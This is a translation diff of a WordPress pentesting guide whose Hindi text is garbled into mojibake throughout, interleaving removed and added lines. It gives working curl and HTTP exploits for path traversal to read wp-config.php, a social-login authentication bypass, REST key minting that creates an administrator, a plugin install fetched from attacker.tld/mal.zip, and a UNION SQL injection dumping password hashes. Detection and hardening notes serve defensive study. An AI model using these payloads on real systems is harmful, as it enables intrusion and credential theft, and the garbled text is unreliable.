рдбрд┐рд╕реНрдХ рдкрд░ рдореМрдЬреВрдж **рдХрд┐рд╕реА рднреА рдлрд╝рд╛рдЗрд▓** рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рдерд╛ред рдХрдордЬреЛрд░ sink `modules/customfield/model.php::downloadCustomUploadedFile()` рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ: ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдФрд░ **рд╕реИрдирд┐рдЯрд╛рдЗрдЬрд╝реЗрд╢рди рдХреЗ рдмрд┐рдирд╛** рд╕рдВрдпреЛрдЬрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░ рд╕реЗ, рдПрдХрдорд╛рддреНрд░ рдмрд╛рдзрд╛ **CSRF nonce** рд╣реИ рдЬрд┐рд╕реЗ resume рдкреГрд╖реНрда рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +`$file_name` attacker-controlled рд╣реИ рдФрд░ **without sanitisation** рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИред рдлрд┐рд░ рд╕реЗ, рдПрдХрдорд╛рддреНрд░ gate рдПрдХ **CSRF nonce** рд╣реИ рдЬрд┐рд╕реЗ resume page рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред #### Exploitation ```bash @@ -649,13 +677,13 @@ curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'entity_id=1' \ --data-urlencode 'file_name=../../../wp-config.php' ``` -The server responds with the contents of `wp-config.php`, leaking DB credentials and auth keys. +рд╕рд░реНрд╡рд░ `wp-config.php` рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрддрд╛ рд╣реИ, leaking DB credentials and auth keys. -## рдЕрдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд┐рдП рдмрд┐рдирд╛ account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## рдЧреИрд░-рдкреНрд░рдорд╛рдгреАрдХреГрдд account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -рдХрдИ themes/plugins "social login" helpers ship рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ admin-ajax.php рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕рдкреЛрдЬрд╝ рд╣реЛрддреЗ рд╣реИрдВред рдЕрдЧрд░ рдПрдХ unauthenticated AJAX action (wp_ajax_nopriv_...) client-supplied identifiers рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрдм provider data рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реЛ рдФрд░ рдлрд┐рд░ wp_set_auth_cookie() рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдкреВрд░рд╛ authentication bypass рдмрди рдЬрд╛рддрд╛ рд╣реИред +рдХрдИ themes/plugins "social login" helpers admin-ajax.php рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ expose рдХрд░рддреЗ рд╣реИрдВред рдЕрдЧрд░ рдПрдХ unauthenticated AJAX action (wp_ajax_nopriv_...) provider data рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реЛрдиреЗ рдкрд░ client-supplied identifiers рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ wp_set_auth_cookie() рдХреЛ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдкреВрд░рд╛ authentication bypass рдмрди рдЬрд╛рддрд╛ рд╣реИред -Typical flawed pattern (simplified) +рд╕рд╛рдорд╛рдиреНрдп рджреЛрд╖рдкреВрд░реНрдг рдкреИрдЯрд░реНрди (рд╕рд░рд▓реАрдХреГрдд) ```php public function check_login() { // ... request parsing ... @@ -684,17 +712,17 @@ wp_send_json(['status' => 'not_user']); } // add_action('wp_ajax_nopriv_', [$this, 'check_login']); ``` -рдпрд╣ рд╢реЛрд╖рдгреАрдп рдХреНрдпреЛрдВ рд╣реИ +рдпрд╣ рдХреНрдпреЛрдВ exploitable рд╣реИ -- admin-ajax.php рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ unauthenticated рдкрд╣реБрдБрдЪ (wp_ajax_nopriv_тАж action)ред -- state change рд╕реЗ рдкрд╣рд▓реЗ рдХреЛрдИ nonce/capability рдЪреЗрдХ рдирд╣реАрдВ рд╣реИред -- OAuth/OpenID provider рд╕рддреНрдпрд╛рдкрди рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реИ; default branch attacker рдЗрдирдкреБрдЯ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓реЗрддрд╛ рд╣реИред -- get_user_by('email', $_POST['id']) рдХреЗ рдмрд╛рдж wp_set_auth_cookie($uid) рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ requester рдХреЛ рдХрд┐рд╕реА рднреА рдореМрдЬреВрдж email address рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░ рджреЗрддрд╛ рд╣реИред +- рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдкрд╣реБрдВрдЪ possible via admin-ajax.php (wp_ajax_nopriv_тАж action) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗред +- state change рд╕реЗ рдкрд╣рд▓реЗ nonce/capability checks рдирд╣реАрдВ рд╣реИрдВред +- OAuth/OpenID provider verification рдЧрд╛рдпрдм рд╣реИ; default branch attacker input рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓реЗрддрд╛ рд╣реИред +- get_user_by('email', $_POST['id']) рдХреЗ рдмрд╛рдж wp_set_auth_cookie($uid) requester рдХреЛ рдХрд┐рд╕реА рднреА рдореМрдЬреВрджрд╛ email address рдХреЗ рд░реВрдк рдореЗрдВ authenticate рдХрд░ рджреЗрддрд╛ рд╣реИред Exploitation (unauthenticated) -- рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдБ: attacker /wp-admin/admin-ajax.php рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХрд┐рд╕реА рд╡реИрдз рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдИрдореЗрд▓ рдХреЛ рдЬрд╛рдирддрд╛/рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред -- provider рдХреЛ рдПрдХ unsupported value рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВ (рдпрд╛ рдЗрд╕реЗ рдЫреЛрдбрд╝ рджреЗрдВ) рддрд╛рдХрд┐ default branch рдкрд░ рдЬрд╛рдПрдБ рдФрд░ id= рдкрд╛рд╕ рдХрд░реЗрдВред +- рдкреВрд░реНрд╡рд╛рдкреЗрдХреНрд╖рд╛рдПрдБ: attacker /wp-admin/admin-ajax.php рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХрд┐рд╕реА рдорд╛рдиреНрдп user email рдХреЛ рдЬрд╛рдирддрд╛/рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред +- provider рдХреЛ unsupported value рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВ (рдпрд╛ рдЗрд╕реЗ рд╣рдЯрд╛рдПрдБ) рддрд╛рдХрд┐ default branch рд╣рд┐рдЯ рд╣реЛ рдФрд░ id= рдкрд╛рд╕ рдХрд░реЗрдВред ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -709,25 +737,25 @@ curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ ``` Expected success indicators -- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. -- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. +- HTTP 200 рдФрд░ JSON рдмреЙрдбреА рдЬреИрд╕реА {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* рдкреАрдбрд╝рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП; рдЙрд╕рдХреЗ рдмрд╛рдж рдХреЗ рдЕрдиреБрд░реЛрдз рдкреНрд░рдорд╛рдгреАрдХреГрдд рд╣реЛрддреЗ рд╣реИрдВред Finding the action name -- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php). +- theme/plugin рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ add_action('wp_ajax_nopriv_...', '...') рдкрдВрдЬреАрдХрд░рдгреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реЛрд╢рд▓ рд▓реЙрдЧрд┐рди рдХреЛрдб рдореЗрдВ (e.g., framework/add-ons/social-login/class-social-login.php). - Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers. Detection checklist -- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. -- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. +- Web logs рдЬреЛ рдЕрдкреНрд░рдорд╛рдгреАрдХреГрдд POSTs рджрд┐рдЦрд╛рддреЗ рд╣реИрдВ /wp-admin/admin-ajax.php рдкрд░ social-login action рдФрд░ id= рдХреЗ рд╕рд╛рдеред +- 200 responses рдЬреЛ success JSON рдХреЗ рд╕рд╛рде рд╣реЛрдВ рдФрд░ рддреБрд░рдВрдд рдЙрд╕реА IP/User-Agent рд╕реЗ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдорд╛рдгреАрдХреГрдд рдЯреНрд░реИрдлрд┐рдХ рд╕реЗ рдкрд╣рд▓реЗ рд╣реЛрдВред Hardening -- рдХреНрд▓рд╛рдЗрдВрдЯ рдЗрдирдкреБрдЯ рд╕реЗ рдкрд╣рдЪрд╛рди рди рдирд┐рдХрд╛рд▓реЗрдВред рдХреЗрд╡рд▓ validated provider token/ID рд╕реЗ рдЙрддреНрдкрдиреНрди emails/IDs рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВред -- Require CSRF nonces рдФрд░ capability checks рд▓рдЧрд╛рдПрдБ рднрд▓реЗ рд╣реА рд╡реЗ login helpers рд╣реЛрдВ; wp_ajax_nopriv_ рдХреЛ рдХреЗрд╡рд▓ рддрднреА рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд░реЗрдВ рдЬрдм рдмрд┐рд▓реНрдХреБрд▓ рдЬрд╝рд░реВрд░реА рд╣реЛред -- OAuth/OIDC responses рдХреЛ server-side validate рдФрд░ verify рдХрд░реЗрдВ; missing/invalid providers рдХреЛ reject рдХрд░реЗрдВ (POST id рдкрд░ fallback рди рдХрд░реЗрдВ)ред -- рддрдм рддрдХ social login рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ disable рдХрд░рдиреЗ рдпрд╛ edge рдкрд░ virtual patching (vulnerable action рдХреЛ block рдХрд░рдирд╛) рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬрдм рддрдХ fix рди рд╣реЛ рдЬрд╛рдПред +- рдХреНрд▓рд╛рдЗрдВрдЯ рдЗрдирдкреБрдЯ рд╕реЗ рдкрд╣рдЪрд╛рди рди рдмрдирд╛рдПрдВред рдХреЗрд╡рд▓ рдЙрдиреНрд╣реАрдВ emails/IDs рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ рдЬреЛ validated provider token/ID рд╕реЗ рдЖрдИ рд╣реЛрдВред +- CSRF nonces рдФрд░ capability checks рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд░рдЦреЗрдВ рднрд▓реЗ рд╣реА login helpers рдХреЗ рд▓рд┐рдП рд╣реЛрдВ; wp_ajax_nopriv_ рдХреЛ рддрдм рддрдХ register рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВ рдЬрдм рддрдХ рдмрд┐рд▓реНрдХреБрд▓ рдЬрд░реВрд░реА рди рд╣реЛред +- OAuth/OIDC responses рдХреЛ server-side рдкрд░ validate рдФрд░ verify рдХрд░реЗрдВ; missing/invalid providers рдХреЛ reject рдХрд░реЗрдВ (POST id рдкрд░ fallback рдирд╣реАрдВ рдХрд░реЗрдВ)ред +- рдЕрд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ social login рдХреЛ disable рдХрд░рдиреЗ рдпрд╛ edge рдкрд░ virtually patch рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ (vulnerable action рдХреЛ block рдХрд░реЗрдВ) рдЬрдм рддрдХ fix рдирд╣реАрдВ рд╣реЛ рдЬрд╛рддрд╛ред Patched behaviour (Jobmonster 4.8.0) @@ -735,13 +763,13 @@ Patched behaviour (Jobmonster 4.8.0) ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers тЙд 1.0.82) -рдХреБрдЫ plugins рдРрд╕реЗ REST endpoints рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ caller рдХреА capabilities рдХреА рдЬрд╛рдВрдЪ рдХрд┐рдП рдмрд┐рдирд╛ reusable тАЬconnection keysтАЭ рдпрд╛ tokens рдорд┐рдВрдЯ рдХрд░ рджреЗрддреЗ рд╣реИрдВред рдЕрдЧрд░ route рдХреЗрд╡рд▓ рдХрд┐рд╕реА guessable attribute (рдЬреИрд╕реЗ username) рдкрд░ authenticate рдХрд░рддрд╛ рд╣реИ рдФрд░ key рдХреЛ user/session рдХреЗ рд╕рд╛рде capability checks рдХреЗ рд╕рд╛рде bind рдирд╣реАрдВ рдХрд░рддрд╛, рддреЛ рдХреЛрдИ рднреА unauthenticated attacker рдПрдХ key рдорд┐рдВрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ privileged actions (admin account creation, plugin actions тЖТ RCE) рдХреЛ invoke рдХрд░ рд╕рдХрддрд╛ рд╣реИред +Some plugins expose REST endpoints that mint reusable тАЬconnection keysтАЭ or tokens without verifying the callerтАЩs capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions тЖТ RCE). - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback - Impact: full takeover by chaining the minted key to internal privileged actions -PoC тАУ mint a connection key and use it +PoC тАУ рдПрдХ connection key mint рдХрд░реЗрдВ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ ```bash # 1) Obtain key (unauthenticated). Exact payload varies per plugin curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ @@ -756,28 +784,28 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` рдХреНрдпреЛрдВ рдпрд╣ рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рд╣реИ -- рд╕рдВрд╡реЗрджрдирд╢реАрд▓ REST route рдХреЗрд╡рд▓ рдХрдо-рдПрдВрдЯреНрд░реЙрдкреА рдкрд╣рдЪрд╛рди рдкреНрд░рдорд╛рдг (username) рдкрд░ рдирд┐рд░реНрднрд░ рд╣реИ рдпрд╛ permission_callback рдЧрд╛рдпрдм рд╣реИ -- рдХреЛрдИ capability enforcement рдирд╣реАрдВ; minted key рдХреЛ рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ bypass рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ +- Sensitive REST route рдХреЗрд╡рд▓ рдХрдо-entropy рдкрд╣рдЪрд╛рди рдкреНрд░рдорд╛рдг (username) рдпрд╛ permission_callback рдХреЗ рдЕрднрд╛рд╡ рд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ +- рдХреЛрдИ capability enforcement рдирд╣реАрдВ; mint рдХрд┐рдпрд╛ рдЧрдпрд╛ key рд╕рд╛рд░реНрд╡рднреМрдорд┐рдХ рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ -рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЪреЗрдХрд▓рд┐рд╕реНрдЯ -- plugin рдХреЛрдб рдореЗрдВ register_rest_route(..., [ 'permission_callback' => '__return_true' ]) рдХреЗ рд▓рд┐рдП grep рдХрд░реЗрдВ -- рдХреЛрдИ рднреА route рдЬреЛ request-supplied identity (username/email) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ tokens/keys рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ, рдмрд┐рдирд╛ рдХрд┐рд╕реА authenticated user рдпрд╛ capability рд╕реЗ рдЬреЛрдбрд╝реЗ -- рдЙрди subsequent routes рдХреЛ рджреЗрдЦреЗрдВ рдЬреЛ server-side capability checks рдХреЗ рдмрд┐рдирд╛ minted token/key рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ +Detection checklist +- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- рдХреЛрдИ рднреА route рдЬреЛ request-supplied identity (username/email) рдХреЗ рдЖрдзрд╛рд░ рдкрд░ tokens/keys рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ рдмрд┐рдирд╛ рдЗрд╕реЗ authenticated user рдпрд╛ capability рд╕реЗ рдмрд╛рдБрдзреЗ +- рдРрд╕реЗ subsequent routes рджреЗрдЦреЗрдВ рдЬреЛ server-side capability checks рдХреЗ рдмрд┐рдирд╛ minted token/key рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ -рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ -- рдХрд┐рд╕реА рднреА privileged REST route рдХреЗ рд▓рд┐рдП: рдПрдХ permission_callback рдЖрд╡рд╢реНрдпрдХ рд░рдЦреЗрдВ рдЬреЛ required capability рдХреЗ рд▓рд┐рдП current_user_can() рдХреЛ рд▓рд╛рдЧреВ рдХрд░реЗ -- client-supplied identity рд╕реЗ long-lived keys mint рди рдХрд░реЗрдВ; рдпрджрд┐ рдЖрд╡рд╢реНрдпрдХ рд╣реЛ рддреЛ authentication рдХреЗ рдмрд╛рдж short-lived, user-bound tokens рдЬрд╛рд░реА рдХрд░реЗрдВ рдФрд░ рдЙрдкрдпреЛрдЧ рдкрд░ capabilities рдлрд┐рд░ рд╕реЗ рдЬрд╛рдБрдЪреЗрдВ -- рдХреЙрд▓рд░ рдХреЗ user context рдХреЛ validate рдХрд░реЗрдВ (wp_set_current_user рдЕрдХреЗрд▓реЗ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИ) рдФрд░ рдЙрди requests рдХреЛ reject рдХрд░реЗрдВ рдЬрд╣рд╛рдБ !is_user_logged_in() || !current_user_can() +Hardening +- рдХрд┐рд╕реА рднреА privileged REST route рдХреЗ рд▓рд┐рдП: permission_callback рдЖрд╡рд╢реНрдпрдХ рдХрд░реЗрдВ рдЬреЛ required capability рдХреЗ рд▓рд┐рдП current_user_can() рд▓рд╛рдЧреВ рдХрд░реЗ +- client-supplied identity рд╕реЗ long-lived keys mint рди рдХрд░реЗрдВ; рдЕрдЧрд░ рдЬрд╝рд░реВрд░рдд рд╣реЛ рддреЛ authentication рдХреЗ рдмрд╛рдж short-lived, user-bound tokens рдЬрд╛рд░реА рдХрд░реЗрдВ рдФрд░ рдЙрдкрдпреЛрдЧ рдкрд░ capabilities рдлрд┐рд░ рд╕реЗ рдЬрд╛рдБрдЪреЗрдВ +- caller рдХреЗ user context рдХреЛ validate рдХрд░реЗрдВ (wp_set_current_user рдЕрдХреЗрд▓рд╛ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИ) рдФрд░ рдЙрди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ !is_user_logged_in() || !current_user_can() --- -## Nonce gate рдХреЗ рдЧрд▓рдд рдЙрдкрдпреЛрдЧ тЖТ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рдордирдорд╛рдирд╛ plugin рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди (FunnelKit Automations тЙд 3.5.3) +## Nonce gate misuse тЖТ unauthenticated arbitrary plugin installation (FunnelKit Automations тЙд 3.5.3) -Nonces CSRF рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВ, authorization рдирд╣реАрдВред рдЕрдЧрд░ рдХреЛрдб nonce рдкрд╛рд╕ рдХреЛ green light рдорд╛рдирдХрд░ privileged operations (e.g., install/activate plugins) рдХреЗ рд▓рд┐рдП capability checks рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИ, рддреЛ рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд╛рд▓реЗ attackers рдПрдХ рдХрдордЬреЛрд░ nonce рд╢рд░реНрдд рдкреВрд░реА рдХрд░ рдХреЗ backdoored рдпрд╛ vulnerable plugin рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдХреЗ RCE рд╣рд╛рд╕рд┐рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +Nonces CSRF рдХреЛ рд░реЛрдХрддреЗ рд╣реИрдВ, authorization рдХреЛ рдирд╣реАрдВред рдЕрдЧрд░ рдХреЛрдб nonce рдкрд╛рд╕ рд╣реЛрдирд╛ рдХреЛ green light рдорд╛рдирддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ privileged operations (e.g., install/activate plugins) рдХреЗ рд▓рд┐рдП capability checks рдЫреЛрдбрд╝ рджреЗрддрд╛ рд╣реИ, рддреЛ рдЕрдирдкреНрд░рдорд╛рдгрд┐рдд рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдХрдордЬреЛрд░ nonce requirement рдкреВрд░рд╛ рдХрд░рдХреЗ backdoored рдпрд╛ vulnerable plugin рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдХреЗ RCE рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред - Vulnerable path: plugin/install_and_activate -- Flaw: weak nonce hash check; nonce тАЬpassesтАЭ рд╣реЛрдиреЗ рдкрд░ current_user_can('install_plugins'|'activate_plugins') рд▓рд╛рдЧреВ рдирд╣реАрдВ рд╣реЛрддрд╛ -- Impact: arbitrary plugin install/activation рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреВрд░реНрдг рд╕рдордЭреМрддрд╛ +- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce тАЬpassesтАЭ +- Impact: full compromise via arbitrary plugin install/activation PoC (shape depends on plugin; illustrative only) ```bash @@ -785,23 +813,23 @@ curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` -рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЪреЗрдХрд▓рд┐рд╕реНрдЯ -- REST/AJAX рд╣реИрдВрдбрд▓рд░ рдЬреЛ plugins/themes рдХреЛ рдХреЗрд╡рд▓ wp_verify_nonce()/check_admin_referer() рдХреЗ рд╕рд╛рде рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ capability check рдирд╣реАрдВ рдХрд░рддреЗ -- рдХреЛрдИ рднреА рдХреЛрдб рдкрд╛рде рдЬреЛ nonce validation рдХреЗ рдмрд╛рдж $skip_caps = true рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ +Detection checklist +- REST/AJAX handlers рдЬреЛ plugins/themes рдХреЛ modify рдХрд░рддреЗ рд╣реИрдВ рдкрд░ рдХреЗрд╡рд▓ wp_verify_nonce()/check_admin_referer() рдореМрдЬреВрдж рд╣реЛрдВ рдФрд░ capability check рди рд╣реЛ +- рдХреЛрдИ рднреА code path рдЬреЛ nonce validation рдХреЗ рдмрд╛рдж $skip_caps = true рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ -рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ -- Nonces рдХреЛ рдХреЗрд╡рд▓ CSRF tokens рдХреЗ рд░реВрдк рдореЗрдВ рд╣реА рдорд╛рдиреЗрдВ; nonce рдХреА рд╕реНрдерд┐рддрд┐ рдХреЗ рдмрд╛рд╡рдЬреВрдж capability checks рд▓рд╛рдЧреВ рдХрд░реЗрдВ -- installer code рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ current_user_can('install_plugins') рдФрд░ current_user_can('activate_plugins') рдЖрд╡рд╢реНрдпрдХ рдХрд░реЗрдВ -- рдЕрдкреНрд░рдорд╛рдгреАрдХреГрдд рдкрд╣реБрдБрдЪ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ; privileged flows рдХреЗ рд▓рд┐рдП nopriv AJAX actions рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВ +Hardening +- nonces рдХреЛ рдХреЗрд╡рд▓ CSRF tokens рдХреЗ рд░реВрдк рдореЗрдВ рд╣реА рдорд╛рдиреЗрдВ; nonce рдХреА рд╕реНрдерд┐рддрд┐ рдЪрд╛рд╣реЗ рдЬреЛ рднреА рд╣реЛ capability checks рд▓рд╛рдЧреВ рдХрд░реЗрдВ +- installer code рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ current_user_can('install_plugins') рдФрд░ current_user_can('activate_plugins') рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд░рдЦреЗрдВ +- рдЕрдирдкреНрд░рдорд╛рдгреАрдХреГрдд рдПрдХреНрд╕реЗрд╕ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ; рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдлреНрд▓реЛрдЬрд╝ рдХреЗ рд▓рд┐рдП nopriv AJAX actions рдХреЛ expose рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВ --- -## рдЕрдкреНрд░рдорд╛рдгреАрдХреГрдд SQLi depicter-* actions рдореЗрдВ s (search) parameter рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ (Depicter Slider тЙд 3.6.1) +## рдЕрдирдкреНрд░рдорд╛рдгреАрдХреГрдд SQLi via s search parameter in depicter-* actions (Depicter Slider тЙд 3.6.1) -рдХрдИ depicter-* actions рдиреЗ s (search) parameter рдХреЛ рд▓рд┐рдпрд╛ рдФрд░ рдЙрд╕реЗ parameterization рдХреЗ рдмрд┐рдирд╛ SQL queries рдореЗрдВ concatenated рдХрд┐рдпрд╛ред +Multiple depicter-* actions рдиреЗ s (search) рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдФрд░ рдЙрд╕реЗ parameterization рдХреЗ рдмрд┐рдирд╛ SQL queries рдореЗрдВ рдЬреЛрдбрд╝ рджрд┐рдпрд╛ред - Parameter: s (search) -- Flaw: WHERE/LIKE clauses рдореЗрдВ рд╕реАрдзреЗ string concatenation; рдХреЛрдИ prepared statements/sanitization рдирд╣реАрдВ +- Flaw: WHERE/LIKE рдХреНрд▓реЙрдЬрд╝ рдореЗрдВ direct string concatenation; рдХреЛрдИ prepared statements/sanitization рдирд╣реАрдВ - Impact: database exfiltration (users, hashes), lateral movement PoC @@ -811,35 +839,35 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode 'action=depicter_search' \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` -рдбрд┐рдЯреЗрдХреНрд╢рди рдЪреЗрдХрд▓рд┐рд╕реНрдЯ -- depicter-* action handlers рдХреЗ рд▓рд┐рдП Grep рдХрд░реЗрдВ рдФрд░ SQL рдореЗрдВ $_GET['s'] рдпрд╛ $_POST['s'] рдХрд╛ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧ рджреЗрдЦреЗрдВ -- $wpdb->get_results()/query() рдХреЛ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП рдХрд╕реНрдЯрдо 